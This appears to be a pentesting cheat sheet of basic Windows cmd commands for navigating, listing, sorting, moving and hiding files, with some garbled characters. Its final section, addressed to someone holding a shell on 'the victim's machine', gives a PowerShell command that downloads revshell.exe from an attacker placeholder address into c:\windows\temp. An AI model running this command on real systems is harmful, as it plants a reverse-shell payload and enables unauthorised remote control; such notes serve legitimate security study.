Basic cmd Windows commands

CommandExplanation
c:Change the current drive to the C:\ drive
d:Change the current drive to the D:\ drive
CD c:\path\to\my_folderChange directory toย c:\path\to\my_folder
CD ..Navigate to the parent directory of the current working directory
CD .\new_folderNavigate to the folderย new_folderย located in the current working directory
CD /D d:\videos\Change the current drive to D:\ and access the folderย videosย on it.
DIRDisplay files and folders in the current directory
DIR /A c:\apps\Display files and folders in the directoryย c:\apps\
DIR /A:DDisplay only folders (D:ย directories)
DIR /A:-DDisplay only files (D:ย directories;ย -:ย not)
DIR /A:HDisplay hidden files and folders
DIR /ODisplay files and folders sorted alphabetically
DIR /O:SDisplay files and folders sorted by file size from smallest to largest
DIR /O:-SDisplay files and folders sorted by file size from largest to smallest
DIR /BDisplay only the names of files and folders in the current working directory
SORTTake input from a source file/pipeline, sort its contents alphabetically (default: A to Z; in reverse: Z to A), and display the output
SORT "C:\music\playlist.m3u"Sort the contents ofย C:\music\playlist.m3uย line by line
DIR /B | SORT /R /O ZtoA.txtList all file and folder names in the current working directory, sort them in reverse alphabetical order, and save the sorted output to a fileย ZtoA.txt:
MOVEMove a file or files
MOVE c:\f1\text.txt c:\f2Move a fileย text.txtย from one folderย c:\f1ย to another folderย c:\f2
MD new_folderMAKEDIR new_folderCreate a new folder calledย new_folderย in the current directory
RD new_folderRMDIR new_folderDelete the folder calledย new_folderย in the current directory
TREEShow the directory structure of a disk/folder
TREE "C:\Program Files"Show the directory structure of the folder โ€œProgram Filesโ€ on the disk C:|
TREE C:\ /FDisplay the names of the files in each folder in the directory structure of the C:\ drive
ATTRIBDisplay/set the attributes of the files in the current directory
ATTRIB +H +S +R myItemHide a file/folderย myItem
ATTRIB -H -S -R myItemUnhide a file/folderย myItem

Upload content remotely

  • If you have a netcar shell, do the following on the victimโ€™s machine:
powershell -c "Invoke-WebRequest -Uri 'http://YOUR_IP:YOUR_PORT/revshell.exe' -OutFile 'c:\windows\temp\revshell.exe'"